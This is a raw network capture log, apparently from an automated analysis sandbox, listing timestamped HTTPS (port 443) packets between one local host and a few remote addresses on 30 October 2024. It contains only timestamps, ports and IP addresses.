Oct 30, 2024 16:25:57.088428974 CET	49764	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.088448048 CET	49764	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.088496923 CET	443	49764	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.088524103 CET	49764	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.088558912 CET	49764	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.088908911 CET	49765	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.088949919 CET	443	49765	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.089026928 CET	49765	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.089309931 CET	49765	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.089328051 CET	443	49765	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.121931076 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.136579037 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.136591911 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.136620045 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.136639118 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.136657953 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.136681080 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.136749029 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.136785030 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.136826992 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.138488054 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.138495922 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.138526917 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.138575077 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.138592958 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.138643026 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.138643026 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.148329973 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.148502111 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.148575068 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.148585081 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.148659945 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.148722887 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.148727894 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.148802996 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.148863077 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.148868084 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.149528027 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.149585962 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.149590015 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.149665117 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.149714947 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.149719000 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.150468111 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.150525093 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.150528908 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.150609970 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.150660992 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.150665045 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.151525021 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.151587963 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.151592016 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.151668072 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.151715994 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.151720047 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.151806116 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.151855946 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.151859999 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.200922012 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.254489899 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.254545927 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.254618883 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.254656076 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.254723072 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.254723072 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.255357027 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.255400896 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.255446911 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.255462885 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.255494118 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.255533934 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.256023884 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.256067991 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.256114006 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.256127119 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.256154060 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.256187916 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.257563114 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.257627010 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.257668018 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.257680893 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.257709026 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.257745981 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.265701056 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.265893936 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.265971899 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.265985966 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266040087 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266129971 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.266140938 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266168118 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266220093 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.266251087 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266433954 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266498089 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.266511917 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266603947 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266674995 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.266685963 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266710043 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266772032 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.266807079 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.266858101 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.267158985 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.267231941 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.267250061 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.267335892 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.268116951 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.268213987 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.268894911 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.269016027 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.269032001 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.269098997 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.269752979 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.269840002 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.269850016 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.269875050 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.269917011 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.270621061 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.270698071 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.270699978 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.270725965 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.270770073 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.312963009 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.371812105 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.371881008 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.371987104 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.372020006 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.372050047 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.372097015 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.372438908 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.372483015 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.372515917 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.372524977 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.372550011 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.372575998 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.373303890 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.373347044 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.373388052 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.373394966 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.373433113 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.373442888 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.373975039 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.374018908 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.374053955 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.374062061 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.374090910 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.374113083 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.376979113 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.377021074 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.377067089 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.377074957 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.377103090 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.377125025 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.377865076 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.377907991 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.377954960 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.377965927 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.378000021 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.378010035 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.378313065 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.378356934 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.378407001 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.378416061 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.378446102 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.378464937 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.382819891 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.382929087 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.382956982 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.383017063 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.383030891 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.383147001 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.383260012 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.383346081 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.383378983 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.488535881 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.488590002 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.488672018 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.488694906 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.488725901 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.488743067 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.488764048 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.488935947 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.489008904 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.489059925 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.489108086 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.489135027 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.489180088 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.546293020 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.546338081 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.546415091 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.546566963 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.546607018 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.546668053 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.546751022 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.546763897 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.546885967 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.546899080 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.722296953 CET	443	49765	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.722636938 CET	49765	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.722654104 CET	443	49765	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.722987890 CET	443	49765	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.723488092 CET	49765	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.723505020 CET	49765	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.723552942 CET	443	49765	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.772473097 CET	49765	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.855875969 CET	443	49765	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.855992079 CET	443	49765	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.856051922 CET	49765	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.856893063 CET	49765	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.856915951 CET	443	49765	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:58.161459923 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.161875010 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.161894083 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.163410902 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.163485050 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.163491964 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.163789034 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.163875103 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.163938999 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.163957119 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.164069891 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.164078951 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.164973021 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.165046930 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.165265083 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.165318012 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.165350914 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.211335897 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.216907978 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.216936111 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.216955900 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.263911963 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.309187889 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309250116 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309283018 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309303045 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.309314966 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309350014 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309359074 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.309365988 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309408903 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.309413910 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309859991 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309894085 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309914112 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.309919119 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.309961081 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.324974060 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325038910 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325081110 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325103998 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.325129986 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325175047 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.325176001 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325190067 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325236082 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.325242043 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325548887 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325592041 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.325594902 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325606108 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.325643063 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.428330898 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.428423882 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.428457975 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.428489923 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.428504944 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.428556919 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.428816080 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.428884983 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.428915977 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.428936005 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.428946018 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.428988934 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.429611921 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.429991007 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.430037975 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.430042028 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.430051088 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.430088997 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.430094004 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.430130959 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.430171013 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.430176020 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.430938959 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.430975914 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.430985928 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.430994034 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.431035042 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.431040049 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.433624983 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.433697939 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.433705091 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.443106890 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.443269968 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.443306923 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.443371058 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.443382025 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.443438053 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.443610907 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.443919897 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.443958044 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.444125891 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.444132090 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.444180965 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.444459915 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.444535971 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.444570065 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.444590092 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.444595098 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.444643021 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.444648027 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.445344925 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.445389032 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.445414066 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.445419073 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.445468903 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.445473909 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.446105957 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.446146965 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.446158886 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.446163893 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.446207047 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.446211100 CET	443	49769	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.486923933 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.486927032 CET	49769	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.547817945 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.547899961 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.547939062 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.547945023 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.547966003 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548002005 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548008919 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.548017025 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548058987 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.548063040 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548072100 CET	443	49768	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:58.548103094 CET	49768	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:58.548108101 CET	443	49768	104.17.24.14	192.168.2.16
